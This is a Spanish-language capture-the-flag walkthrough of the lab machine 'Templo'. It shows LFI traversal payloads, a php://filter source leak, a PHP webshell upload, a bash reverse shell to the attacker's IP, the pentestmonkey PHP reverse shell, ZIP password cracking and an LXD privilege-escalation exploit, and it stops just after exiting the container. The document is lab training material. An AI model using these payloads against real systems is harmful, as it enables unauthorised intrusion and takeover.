Templo - TheHackerLabs
Esta es una máquina sencilla, pero que necesita bastante trabajo para resolverla. Comenzamos analizando la página web, pero al no encontrar nada que nos ayude, aplicamos Fuzzing para encontrar directorios ocultos. De esta forma, encontramos un directorio que contiene un archivo de texto con una pista, pero que no podremos usar de momento. Analizando de nuevo la página web principal, probamos un título mencionado en el contenido, resultando en una página oculta. Dicha página, permite subir e incluir archivos, siendo la inclusión de archivos vulnerable a Local File Inclusion (LFI). La subida de archivos, permite subir archivos PHP, lo que nos permite subir una WebShell de PHP, pero al no saber donde ni como se suben los archivos, utilizamos el LFI más PHP Wrappers para obtener el script completo de esta página para analizarlo, siendo así que descubrimos donde se guardan y que el nombre se codifica en ROT13. Sabiendo esto, codificamos el nombre de nuestra WebShell a ROT13 y logramos usarlo en la ruta donde se guarda, siendo de esta forma con la que obtenemos una Reverse Shell. Dentro de la máquina, recordamos la pista que vimos la primera vez que aplicamos Fuzzing y descubrimos un archivo ZIP. Descargamos y crackeamos este archivo, que al ver su contenido, vemos la contraseña de un usuario, con el que nos podemos autenticar vía SSH. Ya en la máquina, como este usuario, descubrimos que está dentro del grupo LXD, por lo que utilizamos un Exploit de la base de datos Exploit-DB de Kali, para abusar de este grupo y poder crear un contenedor que tendrá la montura de la raíz de la máquina víctima. Al ser un contenedor con volumen compartido (bind mount), cualquier cambio que hagamos en la montura, se verá reflejado en la máquina víctima, por lo que le damos permisos SUID a la Bash para escalar privilegios y convertirnos en Root.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- ffuf
- gobuster
- wfuzz
- PHP
- php://filter/convert.base64-encode
- echo
- base64
- head
- tr
- nc
- bash
- wget
- python3
- unzip
- zip2john
- JohnTheRipper
- ssh
- sudo
- id
- searchsploit
- git
- lxc
- chmod
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Aplicando Local File Inclusion (LFI)
- Probando la Subida de Archivos y Obteniendo Código Fuente del index.php Usando LFI + PHP Wrappers
- Aplicando Codificación ROT13 y Obteniendo Reverse Shell con Nuestra WebShell
- Post Explotación
- Crackeando Archivo ZIP y Ganando Acceso a la Máquina Como Usuario Rodgar
- Escalando Privilegios Abusando del Grupo LXD
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.10.70
PING 192.168.10.70 (192.168.10.70) 56(84) bytes of data.
64 bytes from 192.168.10.70: icmp_seq=1 ttl=64 time=0.886 ms
64 bytes from 192.168.10.70: icmp_seq=2 ttl=64 time=3.31 ms
64 bytes from 192.168.10.70: icmp_seq=3 ttl=64 time=1.55 ms
64 bytes from 192.168.10.70: icmp_seq=4 ttl=64 time=1.33 ms
--- 192.168.10.70 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3230ms
rtt min/avg/max/mdev = 0.886/1.767/3.306/0.919 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.10.70 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 13:11 CST
Initiating ARP Ping Scan at 13:11
Scanning 192.168.10.70 [1 port]
Completed ARP Ping Scan at 13:11, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:11
Scanning 192.168.10.70 [65535 ports]
Discovered open port 22/tcp on 192.168.10.70
Discovered open port 80/tcp on 192.168.10.70
Completed SYN Stealth Scan at 13:11, 8.83s elapsed (65535 total ports)
Nmap scan report for 192.168.10.70
Host is up, received arp-response (0.00083s latency).
Scanned at 2025-05-29 13:11:22 CST for 9s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 9.07 seconds
Raw packets sent: 67841 (2.985MB) | Rcvd: 65536 (2.621MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Veo solamente dos puertos abiertos, supongo que la intrusión será por la página activa en el puerto 80.
Escaneo de Servicios
nmap -sCV -p 22,80 192.168.10.70 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 13:11 CST
Nmap scan report for 192.168.10.70
Host is up (0.00080s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 bc:8f:97:fa:60:eb:ed:b2:8c:3b:c0:65:3b:48:69:f1 (ECDSA)
|_ 256 f9:b0:9b:20:8f:3a:7b:33:e7:95:a5:43:e7:9b:c6:59 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RODGAR
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
El escaneo nos está mostrando contenido en la página web.
Vayamos a verla y a analizarla.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Parece ser una página que ofrece servicios de ¿web hosting?, ¿fotos? No entiendo muy bien qué servicios está ofreciendo.
Pero por lo que veo, el dolor tiene algo que ver.
Veamos qué nos dice Wappalizer:
No hay mucho que podamos usar de aquí.
Como tal, no hay algo más que podamos usar de aquí.
Entonces, vamos a aplicar Fuzzing.
Fuzzing
Utilizaremos primero ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt:FUZZ -u http://192.168.10.70/FUZZ -t 300
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.10.70/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 49ms]
css [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 5ms]
js [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 24ms]
wow [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 18ms]
fonts [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 16ms]
[Status: 200, Size: 20869, Words: 7711, Lines: 480, Duration: 65ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 72ms]
:: Progress: [1185240/1185240] :: Job [1/1] :: 265 req/sec :: Duration: [0:09:30] :: Errors: 0 ::
Parámetros | Descripción |
---|---|
-w | Para indicar el diccionario a usar en el fuzzing. |
-u | Para indicar la URL a utilizar. |
-t | Para indicar la cantidad de hilos a usar. |
Ahora probemos con gobuster:
gobuster dir -u http://192.168.10.70/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -t 300
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.10.70/
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css (Status: 301) [Size: 314] [--> http://192.168.10.70/css/]
/js (Status: 301) [Size: 313] [--> http://192.168.10.70/js/]
/wow (Status: 301) [Size: 314] [--> http://192.168.10.70/wow/]
/fonts (Status: 301) [Size: 316] [--> http://192.168.10.70/fonts/]
/images (Status: 301) [Size: 317] [--> http://192.168.10.70/images/]
/server-status (Status: 403) [Size: 279]
Progress: 1185240 / 1185241 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
Encontramos un directorio llamado /wow
.
Si vamos a verlo, veremos un archivo de texto:
Y entrando en ese archivo de texto, parece que nos da una ruta:
Pero al intentar entrar en esa ruta, no podremos, pues no existe.
Entonces, hay que buscar alguna pista en la página.
Encontrando y Analizando Página Oculta NAMARI
Revisando la página principal, parece que tenemos una pista de lo que podemos probar:
Probemos con la palabra NAMARI:
Encontramos una página oculta.
Podemos ver que la página tíene un titulo llamado “Subida de Archivos y LFI”, que ya es un claro ejemplo de lo que debemos hacer.
Además, si analizamos el código fuente, podemos ver cómo funciona la subida de archivos:
La subida de archivos se realiza con una petición POST y no veo que indique el tipo de archivos que ocupa, aunque al ver que la página es index.php, puede que acepte archivos PHP.
Ahora, lo que nos interesa es la parte de la inclusión de archivos, ya que realiza una petición GET del archivo que pidas y utiliza el parámetro page=
para mostrarlo.
Quiero pensar que es aquí donde es probable que se aplique el LFI, así que vamos a comprobarlo.
Antes de continuar, veamos si hay algún directorio o archivo oculto, aplicándole Fuzzing a este directorio:
gobuster dir -u http://192.168.10.70/NAMARI/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -t 300
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.10.70/NAMARI/
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 325] [--> http://192.168.10.70/NAMARI/uploads/]
Progress: 1185240 / 1185241 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
Muy bien, supongo que ahí es donde se guardarán los archivos que subamos.
Continuemos.
Explotación de Vulnerabilidades
Aplicando Local File Inclusion (LFI)
Si intentamos incluir un archivo random, podemos ver cómo aparece el parámetro page=
en la URL:
Vamos a ocupar wfuzz para utilizar el wordlist LFI-Jhaddix.txt y así podamos comprobar si es posible aplicar LFI y qué formas son válidas:
wfuzz -c --hc=404 --hh=2993 -t 300 -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt http://192.168.10.70/NAMARI/index.php?page=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
.
Target: http://192.168.10.70/NAMARI/index.php?page=FUZZ
Total requests: 929
.
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 200 142 L 303 W 4776 Ch "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
000000020: 200 142 L 303 W 4776 Ch "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
000000023: 200 142 L 303 W 4776 Ch "..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd"
000000121: 200 338 L 1376 W 10445 Ch "/etc/apache2/apache2.conf"
000000129: 200 109 L 260 W 3063 Ch "/etc/apt/sources.list"
000000131: 200 131 L 459 W 4129 Ch "/etc/crontab"
000000135: 200 120 L 343 W 3650 Ch "/etc/fstab"
000000138: 200 168 L 313 W 3817 Ch "/etc/group"
000000422: 200 230 L 640 W 6233 Ch "/etc/ssh/sshd_config"
000000432: 200 263 L 1204 W 8843 Ch "/etc/vsftpd.conf"
000000399: 200 131 L 395 W 3913 Ch "/etc/resolv.conf"
000000400: 200 149 L 373 W 3904 Ch "/etc/rpc"
000000507: 200 108 L 254 W 3020 Ch "/proc/self/cmdline"
000000503: 200 112 L 307 W 3444 Ch "/proc/net/dev"
000000510: 200 109 L 277 W 3207 Ch "/proc/version"
000000509: 200 169 L 397 W 4457 Ch "/proc/self/status"
000000501: 200 133 L 403 W 4838 Ch "/proc/mounts"
000000498: 200 138 L 421 W 4601 Ch "/proc/interrupts"
000000499: 200 109 L 258 W 3019 Ch "/proc/loadavg"
000000497: 200 162 L 589 W 4971 Ch "/proc/cpuinfo"
000000500: 200 162 L 411 W 4496 Ch "/proc/meminfo"
000000504: 200 112 L 297 W 3505 Ch "/proc/net/route"
000000502: 200 111 L 274 W 3232 Ch "/proc/net/arp"
000000505: 200 111 L 299 W 3443 Ch "/proc/net/tcp"
000000506: 200 115 L 277 W 3170 Ch "/proc/partitions"
000000699: 200 108 L 254 W 295285 Ch "/var/log/lastlog"
000000741: 200 121 L 360 W 73211 Ch "/var/log/wtmp"
000000750: 200 108 L 255 W 4145 Ch "/var/run/utmp"
000000758: 200 121 L 306 W 3441 Ch "/var/www/html/.htaccess"
000000929: 200 142 L 303 W 4776 Ch "///////../../../etc/passwd"
000000205: 200 117 L 282 W 3233 Ch "/etc/hosts"
000000236: 200 461 L 1295 W 11132 Ch "/etc/init.d/apache2"
000000237: 200 119 L 290 W 3368 Ch "/etc/issue"
000000209: 200 125 L 364 W 3704 Ch "/etc/hosts.deny"
000000208: 200 118 L 310 W 3404 Ch "/etc/hosts.allow"
000000206: 200 117 L 282 W 3233 Ch "../../../../../../../../../../../../etc/hosts"
000000265: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../../../etc/passwd"
000000260: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../../../../../../../../etc/passwd"
000000257: 200 142 L 303 W 4776 Ch "/etc/passwd"
000000263: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../../../../../etc/passwd"
000000261: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../../../../../../../etc/passwd"
000000258: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../../../../../../../../../../etc/passwd"
000000264: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../../../../etc/passwd"
000000259: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../../../../../../../../../etc/passwd"
000000262: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../../../../../../etc/passwd"
000000254: 200 142 L 303 W 4776 Ch "/../../../../../../../../../../etc/passwd"
000000253: 200 142 L 303 W 4776 Ch "/./././././././././././etc/passwd"
000000273: 200 142 L 303 W 4776 Ch "../../../../../../../etc/passwd"
000000267: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../etc/passwd"
000000269: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../etc/passwd"
000000250: 200 128 L 318 W 3519 Ch "/etc/nsswitch.conf"
000000249: 200 127 L 356 W 3760 Ch "/etc/netconfig"
000000266: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../../../etc/passwd"
000000311: 200 142 L 303 W 4776 Ch "../../../../../../etc/passwd&=%3C%3C%3C%3C"
000000272: 200 142 L 303 W 4776 Ch "../../../../../../../../etc/passwd"
000000276: 200 142 L 303 W 4776 Ch "../../../../etc/passwd"
000000270: 200 142 L 303 W 4776 Ch "../../../../../../../../../../etc/passwd"
000000268: 200 142 L 303 W 4776 Ch "../../../../../../../../../../../../etc/passwd"
000000271: 200 142 L 303 W 4776 Ch "../../../../../../../../../etc/passwd"
000000274: 200 142 L 303 W 4776 Ch "../../../../../../etc/passwd"
000000275: 200 142 L 303 W 4776 Ch "../../../../../etc/passwd"
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
–hh | Para no mostrar respuestas con la cantidad de caracteres especificada. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Hay bastantes formas en las que se puede aplicar y es claro que no se está aplicando ninguna sanitización.
Apliquémoslo de la forma más simple con /etc/passwd
:
Funcionó.
Lo podemos ver mejor en el código fuente de la página web y ahí podremos ver a un usuario:
Aunque no podremos aplicarle fuerza bruta, por lo que debemos buscar una forma de ganar acceso a la máquina.
Probando la Subida de Archivos y Obteniendo Código Fuente del index.php Usando LFI + PHP Wrappers
Vamos a subir una WebShell para ver si lo acepta.
Crea un archivo llamado cmd.php que tendrá este contenido:
<?php
system($_GET['cmd']);
?>
Y súbelo a la página:
Sí lo acepto.
El problema es que no vamos a encontrar nuestro archivo, por lo que quiero pensar que se está aplicando algún cambio cuando se suben.
Por fortuna, tenemos un LFI, sabemos que se está ocupando PHP y tenemos el parámetro vulnerable page=
.
Entonces, podemos aplicar PHP Wrappers para tratar de obtener el script index.php y ver cómo es que funciona.
Aquí te dejo un link de HackTricks donde puedes encontrar Wrappers útiles:
Para este caso, utilizaremos el PHP Wrapper php://filter/convert.base64-encode/resource=
, para convertir en base64 el archivo que queramos.
Nosotros queremos ver el archivo index.php, así que solamente debemos agregar ese archivo, quedando de esta forma:
php://filter/convert.base64-encode/resource=index.php
Úsalo en el campo vulnerable y observa la respuesta:
Tenemos la base64.
Solamente cópiala y vamos a decodificarla:
echo "base64_copiada" | base64 -d | head -n 27
<?php
// Manejo de subida de archivos
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target_dir = "uploads/";
// Obtiene el nombre original del archivo y su extensión
$original_name = basename($_FILES["fileToUpload"]["name"]);
$file_extension = pathinfo($original_name, PATHINFO_EXTENSION);
$file_name_without_extension = pathinfo($original_name, PATHINFO_FILENAME);
$rot13_encoded_name = str_rot13($file_name_without_extension);
$new_name = $rot13_encoded_name . '.' . $file_extension;
// Crea la ruta completa para el nuevo archivo
$target_file = $target_dir . $new_name;
// Mueve el archivo subido al directorio objetivo con el nuevo nombre
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
// Mensaje genérico sin mostrar el nombre del archivo
$message = "El archivo ha sido subido exitosamente.";
$message_type = "success";
} else {
$message = "Hubo un error subiendo tu archivo.";
$message_type = "error";
}
}
Excelente, funcionó bien y podemos ver que al subir el archivo, se le cambia el nombre por su mismo nombre, pero codificado con ROT13.
Entonces, solamente necesitamos codificar el nombre del archivo que subimos y probar si existe en el directorio /uploads
que descubrimos antes.
Aplicando Codificación ROT13 y Obteniendo Reverse Shell con Nuestra WebShell
Para la codificación, podemos aplicarla con cyberchef o con el comando tr.
Lo haremos con el comando tr, pues esta codificación, simplemente cambia la posición de las letras por 13 espacios.
Por ejemplo, A sería N, B sería O, C sería P y así sucesivamente.
Probémoslo:
echo "cmd" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
pzq
Bien, ahora busquemos ese nombre en el directorio /uploads
:
Funciona, podemos ejecutar comandos con nuestra WebShell.
Primero, abre un listener con netcat:
nc -nvlp 443
listening on [any] 443 ...
Vamos a mandarnos una Reverse Shell a nuestra máquina, utilizando nuestra Reverse Shell de Bash:
bash -c 'bash -i >%26 /dev/tcp/Tu_IP/443 0>%261'
Una vez que la mandes, observa la netcat:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.10.70] 52844
bash: cannot set terminal process group (971): Inappropriate ioctl for device
bash: no job control in this shell
www-data@TheHackersLabs-Templo:/var/www/html/NAMARI/uploads$ whoami
whoami
www-data
Estamos dentro.
Utilizando Reverse Shell de Pentestmonkey
Como ya vimos que acepta archivos PHP, podemos cargar la Reverse Shell de PHP de Pentestmonkey:
Descárgalo con wget:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
Y modifícalo en esta parte:
set_time_limit (0);
$VERSION = "1.0";
$ip = 'Tu_IP'; // CHANGE THIS
$port = 443; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Ya solamente sube el archivo a la página web.
Debemos codificar a ROT13 el nombre de la Reverse Shell que subimos, quedando de esta forma:
echo "php-reverse-shell" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
cuc-erirefr-furyy
Ahora, abre un listener con netcat:
nc -nvlp 443
listening on [any] 443 ...
Y utiliza ese nombre dentro del directorio /uploads
:
Observa la netcat:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.10.70] 53516
Linux TheHackersLabs-Templo 6.8.0-39-generic #39-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 21:49:14 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
05:52:48 up 7:32, 0 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Ya solo falta obtener una sesión interactiva, aunque esto es opcional para esta máquina.
Bien, podríamos intentar ver la flag del usuario, pero no podremos, ya que no tenemos permisos para esto:
www-data@TheHackersLabs-Templo:/var/www/html$ cd /home
cd /home
www-data@TheHackersLabs-Templo:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Aug 4 2024 .
drwxr-xr-x 23 root root 4096 Aug 7 2024 ..
drwxr-x--- 5 rodgar rodgar 4096 Aug 9 2024 rodgar
Tendremos que escalar privilegios o convertirnos en el usuario rodgar para poder entrar ahí.
Post Explotación
Crackeando Archivo ZIP y Ganando Acceso a la Máquina Como Usuario Rodgar
Recordando un poco el primer Fuzzing que aplicamos, nos mencionaban la ruta /opt
como si algo se encontrara ahí.
Veamos qué se esconde en ese directorio:
Revisando esa ruta, encontramos un directorio oculto que contiene un archivo ZIP llamado backup.zip:
www-data@TheHackersLabs-Templo:/home$ cd /opt
cd /opt
www-data@TheHackersLabs-Templo:/opt$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Aug 6 2024 .
drwxr-xr-x 23 root root 4096 Aug 7 2024 ..
drwxrwxr-x 2 rodgar rodgar 4096 Aug 6 2024 .XXX
www-data@TheHackersLabs-Templo:/opt$ cd .XXX
cd .XXX
www-data@TheHackersLabs-Templo:/opt/.XXX$ ls -la
ls -la
total 12
drwxrwxr-x 2 rodgar rodgar 4096 Aug 6 2024 .
drwxr-xr-x 3 root root 4096 Aug 6 2024 ..
-rw-r--r-- 1 root root 378 Aug 3 2024 backup.zip
Descarguemos este archivo ZIP en nuestra máquina.
Abre un servidor con Python3 justo donde está este archivo:
www-data@TheHackersLabs-Templo:/opt/.XXX$ python3 -m http.server 8080
python3 -m http.server 8080
Y usamos wget, para descargarnos este archivo:
wget http://192.168.10.70:8080/backup.zip
Tratemos de descomprimirlo con la herramienta unzip:
unzip backup.zip
Archive: backup.zip
creating: backup/
[backup.zip] backup/Rodgar.txt password:
Nos pide una contraseña, por lo que tendremos que crackearlo.
Obtengamos el hash de este archivo ZIP con la herramienta zip2john:
zip2john backup.zip > hash
ver 1.0 backup.zip/backup/ is not encrypted, or stored with non-handled compression type
ver 1.0 efh 5455 efh 7875 backup.zip/backup/Rodgar.txt PKZIP Encr: 2b chk, TS_chk, cmplen=36, decmplen=24, crc=5C3C7389 ts=8855 cs=8855 type=0
Y con JohnTheRipper, crackeamos el hash:
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
batman (backup.zip/backup/Rodgar.txt)
1g 0:00:00:00 DONE (2025-05-29 18:13) 25.00g/s 307200p/s 307200c/s 307200C/s 123456..hawkeye
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Genial, tenemos la contraseña.
Ahora sí, descomprimamos este archivo:
unzip backup.zip
Archive: backup.zip
[backup.zip] backup/Rodgar.txt password:
extracting: backup/Rodgar.txt
Obtuvimos un archivo de texto.
Si vemos su contenido, podremos ver una especie de contraseña.
Vamos a probarla para entrar al servicio SSH:
ssh rodgar@192.168.10.70
rodgar@192.168.10.70's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-39-generic x86_64)
...
Last login: Fri May 30 00:15:54 2025
rodgar@TheHackersLabs-Templo:~$ whoami
rodgar
Ya podremos ver la flag del usuario:
rodgar@TheHackersLabs-Templo:~$ ls
user.txt
rodgar@TheHackersLabs-Templo:~$ cat user.txt
...
Escalando Privilegios Abusando del Grupo LXD
Si revisamos los privilegios de nuestro usuario, no tendremos ninguno:
rodgar@TheHackersLabs-Templo:~$ sudo -l
[sudo] password for rodgar:
Sorry, user rodgar may not run sudo on TheHackersLabs-Templo.
Pero, si revisamos a qué grupos pertenece nuestro usuario, veremos uno interesante:
rodgar@TheHackersLabs-Templo:~$ id
uid=1000(rodgar) gid=1000(rodgar) groups=1000(rodgar),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
Estamos en el grupo LXD.
Ya hemos explotado este grupo para escalar privilegios en otras máquinas de manera manual.
Puedes hacerlo siguiendo los pasos que se muestran en estos blogs:
- Privilege Escalation Using LXD/LXC Group Assignment To A User: A Security Misconfiguration
- Lxd Privilege Escalation
Esta vez, vamos a utilizar un script que nos automatiza este proceso que ya tenemos en la base de datos Exploit-DB de Kali.
Lo buscaremos con searchsploit:
searchsploit lxd
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Ubuntu 18.04 - 'lxd' Privilege Escalation | linux/local/46978.sh
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Vamos a copiarlo en nuestro directorio de trabajo:
earchsploit -m linux/local/46978.sh
Exploit: Ubuntu 18.04 - 'lxd' Privilege Escalation
URL: https://www.exploit-db.com/exploits/46978
Path: /usr/share/exploitdb/exploits/linux/local/46978.sh
Codes: N/A
Verified: False
File Type: Bourne-Again shell script, Unicode text, UTF-8 text executable
Analizándolo un poco, tenemos que mandar este script y una imagen de alpine que utilizará el script para crear la montura de la raíz de la máquina víctima.
Para la imagen, ocuparemos la que está dentro del siguiente repositorio:
Solo necesitas clonarlo y ya deberíamos encontrar una imagen comprimida:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
ls
alpine-v3.13-x86_64-20210218_0139.tar.gz build-alpine LICENSE README.md
Alza un servidor con Python3 en donde tengas estos dos archivos:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Luego, descárgalos en la máquina víctima con wget:
rodgar@TheHackersLabs-Templo:~$ wget http://Tu_IP/46978.sh
rodgar@TheHackersLabs-Templo:~$ wget http://Tu_IP/alpine-v3.13-x86_64-20210218_0139.tar.gz
Y ejecuta el script, indicándole que use la imagen de alpine:
./46978.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
[*] Listing images...
+--------+--------------+--------+-------------------------------+--------------+-----------+---------+-------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------+--------------+-----------+---------+-------------------------------+
| alpine | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | CONTAINER | 3.11MiB | May 30, 2025 at 12:39am (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+---------+-------------------------------+
Creating privesc
Device giveMeRoot added to privesc
~ # whoami
root
Funcionó correctamente.
Esto nos creó un contenedor llamado privesc, que contendrá la raíz de la máquina víctima. Lo podremos ver con el comando lxc list
:
rodgar@TheHackersLabs-Templo:~$ lxc list
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| privesc | RUNNING | xx.xx.xx.xx (eth0) | XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX (eth0) | CONTAINER | 0 |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
Entonces, podríamos quedarnos dentro del contenedor, revisando la montura para obtener la flag y ya, pero algo que podemos hacer es, asignarle permisos SUID al binario /bin/bash
(o la Bash), que tenemos en esta montura. Esto es para que, cuando salgamos del contenedor, podamos usar la Bash con privilegios de Root.
Sal del contenedor y revisa los permisos de la Bash:
/mnt/root # exit
